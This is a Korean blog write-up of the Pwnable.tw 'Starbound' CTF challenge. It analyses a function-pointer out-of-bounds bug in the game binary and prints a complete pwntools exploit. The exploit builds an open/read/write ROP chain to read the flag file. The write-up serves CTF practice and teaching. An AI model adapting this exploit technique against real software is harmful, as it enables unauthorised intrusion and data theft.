CIDY
[Pwnable.tw] Starbound(Write-up) 본문
프젝하는데 머리아파서 문제풀러왔다,, 나름 안 푼것중에 pt적은거 가져왔는데 솔브수를 보면 그렇게 쉬운 것 같지도 않음ㅋㅋ 사실 이제 쉽다고 할 만 게 남아있지도 않다ㅠㅠㅠ
메인은 이렇게 생김. init부터 봐야할듯
착륙? 시드로 랜덤값 4바이트 읽어온다. 그리고 seed[0]을 진짜 시드값으로 씀,, 그리고 그 시드값을 me라는 전역변수에 저장하고 init_map이라는 함수를 수행하는데 함수 내부가 심상치 않으므로 다음에 읽어보자.
88, 8c, 90, 94... 한 칸씩 값들을 저장해준다. 그리고 환경변수 불러온다음 그거 길이 + 1만큼 malloc한다. 그 주소는 또 전역 cp에 저장함. 그리고 v1을 힙으로 strcpy해옴. name_list복사하고,, name_list는 data인데 별 이름들이 다 적혀있다.
그리고 cmd_view는 도저히 뭔가 싶어 직접 실행시켜보니,
?
게임 컨셉인듯.
https://namu.wiki/w/%EC%8A%A4%ED%83%80%EB%B0%94%EC%9A%B4%EB%93%9C
스타바운드 - 나무위키
캐릭터를 생성할 때 조절이 가능하고 난이도에 따라 사망 시의 페널티가 다르다. 난이도가 높으면 높을 수록 사망 페널티가 많아진다. 초반에는 가장 페널티가 적은 캐주얼(Casual) 모드로 시작하
namu.wiki
음,, 그렇다고 한다.
와 근데 직접 몇 번 플레이해보니까 메뉴랑 선택지들이 굉장히 많다. 이거 코드를 하나하나 다 분석하는건 정말 무리라는 생각이 들었다. 현실적으로 이건 메인을 기준으로 필요한 부분만 챙겨야 할듯,,
805817C에는 show main menu함수 포인터가 들어가 있다. 쟤도 bss영역임. 메인메뉴는 엑싯포함 8개로 구성돼있는데,,
메뉴 이상한거 입력하면 이거 출력해줌,,
암튼 다시 원래 흐름으로 돌아와서,
메뉴 보여주고 0x100이나 입력을 받는데,, 이걸 strtol로 십진수로 변환해서 v3에 저장한다. 그걸로 8058154[v3]이렇게 함수 포인터 실행함.
어차피 익스할거면 내 입력이 어디로 가는지가 가장 중요하니까 입력 넣는 부분만 보는 게 좋을 것 같다.
일단 가장 처음 805817C에는 show_main_menu가 들어가는데 그게 어떻게 생겼냐면
출력까지는 이해가 됨. 근데 함수 포인터를 뭐 저리 설정해두냐;; 그리 8058154에는 뭐가 들어있어서 저렇게 nop만 10개를 넣어두는거지?
아 납득이 된다,, 옵션에 따라 일회성인거는 그냥 기본적인 수행이고 그렇지 않은건 805817C를 아예 갈고, cmd_go_back을 수행할 경우 다시 805817C에 show_main_menu를 넣는 방식이구나,, 진짜 이게 뭔,,
sudo apt-get install libssl1.0.0:i386
일단 32비트라 그런지 무슨 라이브러리가 없다고 오류떠서 이렇게 해결해주고 실행시켜봄.
역시 너무 큰 수 넣으면 세폴뜬다. 그럴만도 한게 이상한데를 함수 포인터처럼 참조하려는 시도니까,, got가 앞쪽에 있으니까 좀 큰 음수넣어서 함수 실행시켜도 될 듯,, 0x100이면 뭐 10진수 기준으로 9999999999를 256자 쓸 수 있으니까 사실상 반 무한 oob가 되겠다. 아 int로 변환한다음에 쓰니까 또 그건 아닌가,, 암튼.
got랑 bss는 가까우니까 뭐 바이너리에 있는 함수 실행시키기는 좋다. 그런데 쓸만한 함수가 없고, 함수 포인터들이 모두 인자를 안 받는 게 문제다.
립씨 안 준 거 보면 원가젯을 의도한 건 아닌 것 같은데,,
일단 내 입력을 받는 함수들을 좀 알아봐야 할듯.
오 이름 설정하게 해줌 -> 이걸로 다 할 수 있을듯? 원래 계획은 저기에 실행하고싶은 함수 넣고 음수 oob로 그거 실행하는거였음. 하 근데 립씨를 안 줘서;; 로되리안을 벗어날수가 없어짐;
내 입력 받는 다른걸 알아볼까,, 일단 kill은 안되고,,,
hmm..
hmm...
아 좋은 수가 생각났다,, readn데려올 때 mov DWORD PTR [esp+0x4], 0x100은 건너뛰고 데려오는거다. 그럼 아마도 call할때 sfp값이 readn의 두 번째 인자 == 스택 주소 == 길이로 들어가서 (첫 번째 인자는 얘가 쌓아주니까) 오버플로우를 엄청 크게 일으킬 수 있지 않을까,,?
그리고 바이너리에 기능이 많다 보니 open read write의 plt를 싹 다 찾아볼 수 있다. 그럼 걍 립씨고 오프셋이고 아무 필요 없고 걍 orw하면 됨. 물론 쉘 따는게 쾌감이 더 크긴 하지만 현실적으로 플래그만 읽어도 문제 풀긴 한 거니
from pwn import *
_open = 0x8048970
_read = 0x8048a70
_write = 0x8048a30
funcP = 0x8058154
name = 0x80580d0
readn = 0x080499a6
pop3 = 0x080494da
p = process("./starbound")
#p = remote("chall.pwnable.tw", 10202)
leak = b""
leak += p32(readn) #it will be name..
leak += b"/home/starbound/flag"
leak += b"A" #it will be null..
p.sendafter("> ", "6") #Settings
p.sendafter("> ", "2")
p.sendafter(b"Enter your name:", leak)
p.sendafter("> ", "1")
target_num = int((name - funcP) / 4)
pause()
p.sendafter("> ", str(target_num))
pay = b""
pay += b"A" * 0x10c
pay += p32(_open) + p32(pop3) + p32(name + 0x4) + p32(0) + p32(0)
pay += p32(_read) + p32(pop3) + p32(3) + p32(name) + p32(0x100)
pay += p32(_write) + p32(pop3) + p32(1) + p32(name) + p32(0x100)
pause()
p.send(pay)
p.interactive()
후기: 바이너리 크기에 겁먹었었는데 의외로 쉽게 해결해버렸다. 전체 기능은 절반도 이해 못한 것 같은데 내 입력 들어가는 곳만 따라가니까 해결됨,, vm같이 내 입력이 곳곳에 알뜰하게 쓰이는 경우가 아닌 이상 이런 식으로 볼 만한 곳만 분석하면서 풀어가는 게 더 빠르지 않을까..!
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable.tw] BookWriter(Write-up, 오렌지농장) (0) | 2023.03.03 |
---|---|
[Pwnable.tw] Secret Of My Heart(Write-up) (2) | 2023.02.28 |
[Pwnable.tw] De-ASLR(Write-up 작성중) (0) | 2023.02.09 |
[Pwnable] GitHub Security Lab CTF 2: U-Boot Challenge (0) | 2023.02.02 |
[Pwnable] GitHub Security Lab CTF 1: SEGV hunt (0) | 2023.01.31 |